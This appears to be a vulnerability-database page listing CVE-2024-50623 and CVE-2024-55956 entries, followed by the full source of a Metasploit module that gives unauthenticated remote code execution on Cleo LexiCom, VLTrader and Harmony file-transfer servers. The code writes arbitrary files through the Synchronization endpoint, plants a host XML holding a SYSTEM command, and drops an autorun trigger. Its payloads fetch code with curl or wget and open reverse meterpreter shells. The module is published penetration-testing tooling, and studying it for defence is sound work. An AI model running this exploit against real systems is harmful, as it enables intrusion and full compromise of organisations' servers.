| Reporter | Title | Published | Views | Family All 54 |
|---|---|---|---|---|
| Exploit for Unrestricted Upload of File with Dangerous Type in Cleo Harmony | 31 Dec 202407:43 | – | githubexploit | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Cleo Harmony | 23 Dec 202408:52 | – | githubexploit | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Cleo Harmony | 1 Apr 202522:55 | – | githubexploit | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Cleo Harmony | 11 Dec 202414:19 | – | githubexploit | |
| Cleo LexiCom / VLTrader / Harmony 5.8.0.23 Remote Code Execution Exploit | 16 Jan 202500:00 | – | zdt | |
| CVE-2024-50623 | 28 Oct 202400:00 | – | attackerkb | |
| CVE-2024-55956 | 13 Dec 202400:00 | – | attackerkb | |
| CVE-2024-50623 | 28 Oct 202401:56 | – | circl | |
| CVE-2024-55956 | 13 Dec 202421:21 | – | circl | |
| Cleo Multiple Products Unrestricted File Upload Vulnerability | 13 Dec 202400:00 | – | cisa_kev |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cleo LexiCom, VLTrader, and Harmony Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an unauthenticated file write vulnerability in Cleo LexiCom, VLTrader, and Harmony
versions 5.8.0.23 and below.
},
'License' => MSF_LICENSE,
'Author' => [
# MSF Exploit & Rapid7 Analysis
'sfewer-r7',
'remmons-r7'
],
'References' => [
['CVE', '2024-55956'],
['URL', 'https://support.cleo.com/hc/en-us/articles/28408134019735-Cleo-Product-Security-Update-CVE-2024-55956'], # Vendor Advisory
['URL', 'https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis'], # Rapid7 Analysis
['URL', 'https://www.rapid7.com/blog/post/2024/12/10/etr-widespread-exploitation-of-cleo-file-transfer-software-cve-2024-50623/'], # Rapid7 Blog
['URL', 'https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild'] # Huntress Blog
],
'DisclosureDate' => '2024-12-09',
'Platform' => %w[java win linux unix],
'Arch' => [ARCH_JAVA, ARCH_CMD],
'Privileged' => true, # 'NT AUTHORITY\SYSTEM' on Windows. On Linux it depends on how the product was installed.
'Targets' => [
[
# Tested against Cleo LexiCom/5.8.0.21 on Windows Server 2022, with payloads:
# java/meterpreter/reverse_tcp
'Java', {
'Platform' => 'java',
'Arch' => ARCH_JAVA
}
],
[
# Tested against Cleo LexiCom/5.8.0.21 on Windows Server 2022, with payloads:
# cmd/windows/http/x64/meterpreter/reverse_tcp
# cmd/windows/http/x64/meterpreter_reverse_tcp
'Windows Command', {
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'FETCH_COMMAND' => 'CURL',
'FETCH_WRITABLE_DIR' => '%TEMP%'
}
}
],
[
'Linux Command', {
'Platform' => %w[linux unix],
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET',
'FETCH_WRITABLE_DIR' => '/tmp'
}
}
]
],
'DefaultOptions' => {
'RPORT' => 5080,
'SSL' => false,
# The exploit relies on the target service processing a file written to an 'autorun' folder, which is processed
# periodically. We bump up the WfsDelay to account for this, and give the exploit payload some extra time to trigger.
'WfsDelay' => 10
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
return CheckCode::Unknown('Connection failed') unless res
# We expect the server to respond with an HTTP Server header like "Cleo LexiCom/5.8.0.0 (Windows Server 2022)".
# Note, the target product may be either LexiCom, VLTrader, or Harmony.
if res.headers.key?('Server') && (res.headers['Server'] =~ %r{cleo\s+(?:lexicom|vltrader|harmony)/(\d+\.\d+\.\d+\.\d+)}i)
if Rex::Version.new(Regexp.last_match(1)) <= Rex::Version.new('5.8.0.23')
return CheckCode::Appears(res.headers['Server'])
end
return CheckCode::Safe(res.headers['Server'])
end
CheckCode::Unknown
end
def exploit
jar_path = nil
jar_file = nil
command = nil
case target['Platform']
when 'java'
jar_path = "temp/#{Rex::Text.rand_text_alpha_lower(8)}"
jar_file = payload.encoded_jar(random: true)
# The product ships its own JRE, so we can use a relative path to run our Java JAR file.
command = "jre/bin/java -jar \"#{jar_path}\""
when 'win'
command = "cmd.exe /c \"#{payload.encoded}\""
when 'linux', 'unix'
command = "/bin/sh -c \"#{payload.encoded}\""
else
fail_with(Failure::BadConfig, 'Unsupported target platform')
end
if command.include? ']]>'
# As we wrap the command in XML CDATA tags, we cannot have the closing CDATA tag in the command.
fail_with(Failure::BadConfig, 'Payload cannot contain the CDATA closing tag "]]>"')
end
host_guid = SecureRandom.uuid
mailbox_guid = SecureRandom.uuid
action_guid = SecureRandom.uuid
# This is based on the XML file that Huntress published (https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild)
host_xml = %(<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Host alias="#{host_guid}" application="" by="Administrator" class="*CwwQNwwbER4SEhA8Ex4cEDNRQQwRBwsbGk5TEQdOEAUWTkM*" created="2020/10/10 00:00:00" enabled="True" enc="#{SecureRandom.uuid}" local="True" modevent="Modified" modified="2020/10/10 00:00:00" moditem="<copy>myCommands@Local Commands" modtype="Actions" preconfigured="2009/10/30 15:15" ready="True" standaloneaction="False" test="False" transport="" type="" uid="#{SecureRandom.uuid}" version="1">
<Connecttype>0</Connecttype>
<Inbox>inbox\</Inbox>
<Index>0</Index>
<Indexdate>-1</Indexdate>
<Internal>0</Internal>
<Notes>This contains mailboxes for a local host which can be used for local commands only.</Notes>
<Origin>Local Commands</Origin>
<Outbox>outbox\</Outbox>
<Port>0</Port>
<Runninglocalrequired>True</Runninglocalrequired>
<Secureportrequired>False</Secureportrequired>
<Uidswpd>True</Uidswpd>
<Advanced>ZipCompressionLevel=System Default</Advanced>
<Advanced>XMLEncryptionAlgorithm=System Default</Advanced>
<Advanced>HighPriorityIncomingWeight=10</Advanced>
<Advanced>PGPHashAlgorithm=System Default</Advanced>
<Advanced>HighPriorityOutgoingWeight=10</Advanced>
<Advanced>PGPCompressionAlgorithm=System Default</Advanced>
<Advanced>OutboxSort=System Default</Advanced>
<Advanced>PGPEncryptionAlgorithm=System Default</Advanced>
<Mailbox alias="#{mailbox_guid}" class="*BxAdExYeMgwbER4SEhA8Ex4cEDNR" created="2020/10/10 00:00:00" enabled="True" localdecryptcert="" localencryptcert="" localpackaging="None" partnerdecryptcert="" partnerdecryptpassword="" partnerencryptcert="" partnerpackaging="None" ready="True" uid="#{SecureRandom.uuid}" version="1">
<Action actiontype="Commands" alias="#{action_guid}" by="Administrator" class="*ERAWCxw+DBsRHhISEDwTHhwQM1E*" created="2020/10/10 00:00:00" enabled="True" modified="2020/10/10 00:00:00" ready="True" uid="#{SecureRandom.uuid}" version="2">
<Autostartup>False</Autostartup>
<Commands><![CDATA[SYSTEM #{command}]]></Commands>
<Filesin>0</Filesin>
<Filesout>0</Filesout>
<Ssl>False</Ssl>
</Action>
</Mailbox>
</Host>)
zip_file = Rex::Zip::Archive.new
zip_file.add_file('hosts/main.xml', host_xml)
zip_path = "temp/#{Rex::Text.rand_text_alpha_lower(8)}"
arbitrary_file_write(zip_path, zip_file.pack)
# The payload working directory will be the product install folder, e.g. "C:\LexiCom\", so we can pass relative
# paths here for cleanup.
register_files_for_cleanup(zip_path)
# For Java payloads, we also need to write the payloads JAR file.
if jar_file && jar_path
arbitrary_file_write(jar_path, jar_file.pack)
register_files_for_cleanup(jar_path)
end
# Install the new host via the -i switch.
# Run the Mailbox action via the -r switch, which in turn will execute our payload.
autorun_data = [
"-i \"#{zip_path}\"",
"-r \"<#{action_guid}>#{mailbox_guid}@#{host_guid}\""
].join("\r\n")
arbitrary_file_write("autorun/#{Rex::Text.rand_text_alpha_lower(8)}", autorun_data)
# Note, the autorun files will be deleted by the system after they are processed, so we do not need to register them for cleanup.
end
def arbitrary_file_write(path, data)
boundary = Rex::Text.rand_text_alpha_lower(16)
# We can trigger the file write via either of these two commands.
multipart_vlsync_command = ['ReceivedReceipt', 'SentReceipt'].sample
# These parameters can appear in any order, so we shuffle them.
multipart_vlsync_params = [
'service="AS2"',
"msgId=#{Rex::Text.rand_text_alpha_lower(8)}",
"path=\"#{path}\"",
'receiptfolder=Unspecified'
].shuffle.join(';')
content_data = "VLSync: #{multipart_vlsync_command};#{multipart_vlsync_params}\r\n"
content_data << "#{boundary}\r\n"
content_data << data
# Note, the server does not process well-formed multipart form data, so we do not use Rex::MIME::Message.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'Synchronization'),
'headers' => {
'VLSync' => 'Multipart;l=0,Acknowledge'
},
'ctype' => 'application/form-data; boundary=' + boundary,
'data' => content_data
)
fail_with(Failure::UnexpectedReply, 'Failed to write file.') unless res&.code == 200
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation